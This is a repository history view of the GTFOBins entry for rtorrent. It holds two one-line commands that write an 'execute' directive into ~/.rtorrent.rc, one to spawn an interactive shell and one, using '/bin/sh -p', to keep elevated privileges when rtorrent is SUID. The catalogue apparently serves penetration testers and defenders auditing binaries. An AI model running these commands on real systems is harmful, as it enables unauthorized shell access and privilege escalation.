GTFOBins.github.io/_gtfobins/rtorrent.md

12 lines
284 B
Markdown
Raw Normal View History

2022-08-05 17:39:15 +02:00
---
functions:
2022-12-16 13:16:06 +01:00
shell:
2022-08-05 17:39:15 +02:00
- code: |
2022-12-16 13:16:06 +01:00
echo "execute = /bin/sh,-c,\"/bin/sh <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc
2022-08-05 17:39:15 +02:00
rtorrent
suid:
- code: |
2022-12-16 13:16:06 +01:00
echo "execute = /bin/sh,-p,-c,\"/bin/sh -p <$(tty) >$(tty) 2>$(tty)\"" >~/.rtorrent.rc
2022-08-05 17:39:15 +02:00
./rtorrent
---